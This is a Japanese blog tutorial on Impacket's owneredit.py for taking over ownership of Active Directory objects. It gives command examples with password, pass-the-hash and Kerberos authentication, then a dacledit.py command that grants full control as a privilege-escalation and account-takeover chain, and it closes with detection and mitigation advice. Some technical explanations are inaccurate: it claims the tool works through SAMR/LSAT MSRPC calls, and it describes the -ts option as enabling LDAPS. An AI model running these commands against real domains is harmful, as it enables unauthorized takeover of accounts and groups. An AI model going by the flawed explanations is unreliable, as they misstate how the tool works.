Impacketのowneredit.py徹底解説:Active Directoryオブジェクトの所有権を操作する

セキュリティツール

はじめに:impacket-ownereditとは?🤔

Impacketは、ネットワークプロトコルを扱うためのPythonクラスのコレクションであり、特にWindows環境のプロトコル(SMB, MSRPCなど)に強みを持っています。セキュリティ専門家やペネトレーションテスターにとって、非常に強力なツールキットとして知られています。

その中でも、owneredit.py(impacket-owneredit)は、Active Directory (AD) 内のオブジェクト(ユーザー、グループ、コンピューターなど)の所有権 (Owner) を変更するためのスクリプトです。

ADオブジェクトの所有者は、そのオブジェクトに対するアクセス許可を完全に制御できる特別な権限を持ちます。たとえ明示的なアクセス許可が付与されていなくても、所有者はアクセス許可を変更できてしまいます。通常、オブジェクトを作成したユーザーが所有者になりますが、Administratorsグループのメンバーが作成した場合は、Domain Adminsグループが所有者になることが一般的です。

owneredit.pyを使うことで、攻撃者は特定の条件下でこの所有権を自身が制御するアカウントに変更し、結果としてターゲットオブジェクトに対する完全な制御権限を不正に取得する可能性があります。これは、権限昇格や永続化のテクニックとして悪用されることがあります。例えば、WriteOwner権限を持つユーザーがこのツールを使ってターゲットオブジェクトの所有者を自身に変更し、その後dacledit.pyのようなツールで自身にフルコントロール権限を付与するといったシナリオが考えられます。

このブログでは、impacket-ownereditの基本的な使い方、動作原理、そしてセキュリティ上の注意点について詳しく解説していきます。 💪

⚠️ 注意: このツールは強力な機能を持つため、許可された環境でのみ、倫理的な目的(ペネトレーションテスト、セキュリティ監査など)で使用してください。不正な目的での使用は法律で禁止されており、重大な結果を招く可能性があります。

前提条件と準備 🛠️

impacket-ownereditを使用するには、以下の準備が必要です。

  • Impacketのインストール: まず、Impacketがシステムにインストールされている必要があります。pipx (推奨) または pip を使用してインストールできます。
    # pipx (推奨) を使う場合
    python3 -m pipx install impacket
    
    # pip を使う場合 (仮想環境推奨)
    python3 -m venv impacket-env
    source impacket-env/bin/activate
    pip install impacket
    最新の開発版を使用したい場合は、GitHubリポジトリから直接インストールします。
    git clone https://github.com/fortra/impacket.git
    cd impacket
    python3 -m pipx install .

    注: owneredit.py は比較的新しいスクリプトであり、以前はImpacketの公式 examples に含まれていませんでした。GitHubの Pull Request #1323 で追加され、現在はマスターブランチに含まれています。

  • 対象ドメインの情報:
    • ドメイン名 (例: example.local)
    • ドメインコントローラーのIPアドレスまたはホスト名
  • 認証情報:
    • ドメインユーザーのユーザー名とパスワード、またはNTLMハッシュ
    • Kerberos認証を使用する場合は、有効なKerberosチケット (TGT)
    • 操作を実行するユーザーは、ターゲットオブジェクトに対するWriteOwner権限を持っている必要があります。BloodHoundなどのツールで事前に権限を確認することが推奨されます。
  • ターゲットオブジェクトの情報:
    • 所有権を変更したいオブジェクトの識別子 (例: ユーザー名、グループ名、コンピューター名)
  • 新しい所有者の情報:
    • 新しい所有者として設定したいプリンシパル (ユーザーまたはグループ) の識別子

基本的な使い方とオプション ⚙️

owneredit.py の基本的なコマンド構文は以下のようになります。

owneredit.py [-h] -action {read,write} [-target TARGET] [-new-owner NEW_OWNER]
             [-debug] [-ts] [-target-ip TARGET_IP] [-k] [-no-pass] [-hashes LMHASH:NTHASH]
             [-aesKey hexkey] [-dc-ip DC_IP] [-dc-host DC_HOST]
             target_principal

主要なオプションを解説します。

オプション 説明
target_principal ドメインへの接続に使用する認証情報。[ドメイン名/]ユーザー名[:パスワード] の形式。パスワードを省略するとプロンプトが表示されます。 example.local/attacker_user:Password123
-action {read,write} 実行するアクションを指定します。read は現在の所有者情報を表示し、write は所有者を変更します。必須オプションです。 -action write
-target TARGET 所有者を変更する対象オブジェクトのsAMAccountName、UPN、またはDistinguished Name (DN) を指定します。writeアクションでは必須です。 -target victim_user
-new-owner NEW_OWNER 新しい所有者として設定するプリンシパルのsAMAccountNameまたはSIDを指定します。writeアクションでは必須です。 -new-owner attacker_user
-dc-ip DC_IP 接続先のドメインコントローラーのIPアドレスを指定します。指定しない場合、DNSから解決を試みます。 -dc-ip 192.168.1.100
-dc-host DC_HOST 接続先のドメインコントローラーのホスト名を指定します。-dc-ip の代わりに使用できます。 -dc-host DC01.example.local
-target-ip TARGET_IP ターゲットシステムのIPアドレスを指定します。認証に使用するサーバーとターゲットオブジェクトが存在するサーバーが異なる場合などに使用します。通常はDCのIPを指定します。 -target-ip 192.168.1.100
-k Kerberos認証を使用します。パスワードやハッシュの代わりに、キャッシュされたKerberosチケット (通常はKRB5CCNAME環境変数で指定されたファイル) を使用します。-no-pass と共に使用します。 -k -no-pass
-no-pass パスワード入力を要求しません。-k (Kerberos) または -hashes (Pass-the-Hash) と共に使用します。 -no-pass
-hashes LMHASH:NTHASH Pass-the-Hash認証を使用します。LMハッシュとNTハッシュを指定します。LMハッシュが不要な場合は空文字列にします。 -hashes :aabbccddeeff00112233445566778899
-aesKey hexkey Pass-the-Key認証を使用します。AESキー (128/192/256ビット) を16進数文字列で指定します。Kerberos認証でのみ有効です。 -aesKey 0123...def
-ts LDAPS (LDAP over SSL) を使用します (デフォルトはポート636)。 -ts
-debug デバッグ情報を出力します。トラブルシューティングに役立ちます。 -debug

実行例 🚀

ここでは、いくつかの具体的な使用例を示します。

1. ユーザーオブジェクトの現在の所有者を確認する

ユーザー victim_user の現在の所有者情報を読み取ります。

owneredit.py example.local/attacker_user:Password123 -action read -target victim_user -dc-ip 192.168.1.100

実行すると、ターゲットオブジェクトの現在の所有者のSIDとsAMAccountNameが表示されます。

2. ユーザーオブジェクトの所有者を変更する (パスワード認証)

ユーザー victim_user の所有者を attacker_user に変更します。

owneredit.py example.local/attacker_user:Password123 -action write -target victim_user -new-owner attacker_user -dc-ip 192.168.1.100

成功すると、所有者が変更された旨のメッセージが表示されます。

3. グループオブジェクトの所有者を変更する (Pass-the-Hash認証)

グループ TargetGroup の所有者を attacker_user に変更します。ここでは NTLM ハッシュを使用します。

owneredit.py example.local/attacker_user -hashes :aabbccddeeff00112233445566778899 -action write -target TargetGroup -new-owner attacker_user -dc-ip 192.168.1.100 -no-pass

4. コンピューターオブジェクトの所有者を変更する (Kerberos認証)

コンピューター WKSTN01 の所有者を attacker_user に変更します。事前に getTGT.py などで Kerberos チケットを取得し、KRB5CCNAME 環境変数を設定しておく必要があります。

# TGT取得 (例)
# getTGT.py example.local/attacker_user:Password123 -dc-ip 192.168.1.100

# KRB5CCNAME 環境変数を設定 (取得したチケットファイルに合わせて)
export KRB5CCNAME=/path/to/attacker_user.ccache

# owneredit.py を実行
owneredit.py example.local/attacker_user -k -no-pass -action write -target WKSTN01$ -new-owner attacker_user -dc-ip 192.168.1.100

※ コンピューターアカウントのsAMAccountNameは通常、末尾に $ が付きます。

所有権変更後のアクション例:フルコントロール権限の付与

owneredit.py でオブジェクトの所有権を取得した後、dacledit.py を使用して自身にフルコントロール権限を付与できます。

# victim_user の所有権を attacker_user に変更済みと仮定

# dacledit.py を使用して attacker_user に victim_user へのフルコントロールを付与
dacledit.py example.local/attacker_user:Password123 -action write -target victim_user -principal attacker_user -rights All -ace-type allowed -dc-ip 192.168.1.100

これにより、attacker_uservictim_user オブジェクトに対してパスワードリセットを含むあらゆる操作が可能になります。

動作原理:舞台裏で何が起こっているか? 🎭

owneredit.py は、内部的に MSRPC (Microsoft Remote Procedure Call) プロトコル、特に SAMR (Security Account Manager Remote) プロトコルや LSAT (Local Security Authority Translation) プロトコルなどを利用して Active Directory と通信し、オブジェクトのセキュリティ記述子 (Security Descriptor) を操作します。

具体的には、以下のステップで処理が行われます(簡略化)。

  1. 認証と接続: 指定された認証情報(パスワード、ハッシュ、Kerberosチケット)を使用して、ドメインコントローラーに対して認証を行い、LDAPまたはSAMRのエンドポイントに接続します。
  2. ターゲットオブジェクトの特定: -target で指定されたオブジェクトを LDAP 検索などで見つけ、その識別子 (例: SID や Distinguished Name) を取得します。
  3. セキュリティ記述子の取得 (読み取り時): -action read の場合、ターゲットオブジェクトのセキュリティ記述子を読み取り、その中の Owner SID フィールドを解析して所有者情報を取得・表示します。
  4. セキュリティ記述子の変更 (書き込み時): -action write の場合、まずターゲットオブジェクトに対する WriteOwner 権限があるかを確認します。権限があれば、新しい所有者の SID (-new-owner で指定) を含むようにセキュリティ記述子の Owner SID フィールドを更新し、変更をドメインコントローラーに書き込みます。この操作には通常、SetSecurityObject や類似の MSRPC 関数が利用されます。

重要なのは、オブジェクトの所有者は、そのオブジェクトの DACL (Discretionary Access Control List) を変更する暗黙的な権限 (WRITE_DAC) を持つという点です。そのため、WriteOwner 権限を持つ攻撃者が owneredit.py を使って所有権を奪取すると、その後 dacledit.py などで任意の権限を自身に付与できるようになり、重大なセキュリティリスクにつながります。

セキュリティ上の影響と対策🛡️

impacket-owneredit の悪用は、Active Directory 環境において深刻なセキュリティインシデントを引き起こす可能性があります。

潜在的なリスク

  • 権限昇格: 一般ユーザーアカウントやコンピューターアカウントなど、重要度の低いオブジェクトに対する WriteOwner 権限を持つ攻撃者が、そのオブジェクトの所有権を奪取し、さらに権限を昇格させる可能性があります。例えば、コンピューターアカウントの所有権を得て Resource-Based Constrained Delegation (RBCD) を設定し、そのコンピューターへの管理者アクセス権を得るなどが考えられます。
  • 永続化: 攻撃者は、奪取したオブジェクトの権限を変更することで、システム内に永続的な足場を築くことができます。
  • アカウント乗っ取り: ユーザーアカウントの所有権を変更し、パスワードリセット権限などを自身に付与することで、そのアカウントを完全に制御下に置くことができます。
  • グループメンバーシップの不正操作: 特権グループ(Domain Adminsなど)に対する WriteOwner 権限があれば、そのグループの所有権を変更し、自身をグループに追加することでドメイン全体の管理者権限を奪取することも理論上可能です。

対策と緩和策

これらのリスクに対抗するためには、以下の対策を講じることが重要です。

  • 最小権限の原則の徹底: ユーザーやサービスアカウントには、業務上本当に必要な権限のみを付与します。特に WriteOwner, GenericAll, GenericWrite, WriteDacl といった強力な権限は、厳格に管理し、不必要に付与しないようにします。
  • 特権アカウントとグループの保護: Domain Admins, Enterprise Admins, Administrators などの特権グループや、それらに属するアカウントに対するアクセス許可設定を定期的に監査し、不正な変更や過剰な権限がないか確認します。AdminSDHolder 機構による保護も理解し、適切に運用します。
  • オブジェクト所有者の監視と修正: Active Directory オブジェクトの所有者が、意図せず一般ユーザーなどになっているケースがないか定期的に監査します。PowerShell スクリプトなどを利用して、不適切な所有者を検出し、必要に応じて Domain Admins などの適切な所有者に修正します。
  • 監査ログの有効化と監視: ドメインコントローラーやメンバーサーバーで、オブジェクトアクセスの監査(特に書き込み操作やアクセス許可の変更)を有効にし、ログを SIEM (Security Information and Event Management) などで集約・監視します。セキュリティ記述子の変更イベント (例: イベントID 4662, 4670, 5136 など) を注視し、不審なアクティビティを検知できるようにします。
  • BloodHound 等による攻撃経路の可視化: BloodHound などのツールを使用して、AD 内の権限関係を定期的に分析し、WriteOwner などの危険な権限を持つ経路や、意図しない権限昇格パスが存在しないかを確認します。
  • Impacket 通信の検知: ネットワークトラフィックを監視し、Impacket の特徴的な通信パターン (特定の MSRPC コールや NTLM リレー試行など) を検知するルールを IDS/IPS や NDR (Network Detection and Response) ソリューションに実装します。
💡 Active Directory のセキュリティは継続的な取り組みが不可欠です。定期的な監査、パッチ適用、構成の見直し、そして従業員へのセキュリティ教育を通じて、リスクを低減していくことが求められます。

まとめ ✨

impacket-owneredit は、Active Directory オブジェクトの所有権を変更するための Impacket スクリプトです。このツールは、特定の権限 (WriteOwner) があれば、オブジェクトの制御を奪取し、権限昇格や永続化につなげることが可能です。

ペネトレーションテストやセキュリティ監査においては、このような攻撃経路が存在しないかを確認するために有用なツールですが、その強力さゆえに悪用されるリスクも高いです。

Active Directory 管理者は、最小権限の原則を徹底し、オブジェクトの所有者やアクセス許可を適切に管理・監視することで、owneredit.py を利用した攻撃のリスクを軽減する必要があります。

ツールの使い方を理解すると同時に、その背景にある Active Directory のセキュリティメカニズム(ACL, 所有権, セキュリティ記述子など)についても学習を深めることが、堅牢なシステムを構築・維持する上で非常に重要です。 🔐

コメント

タイトルとURLをコピーしました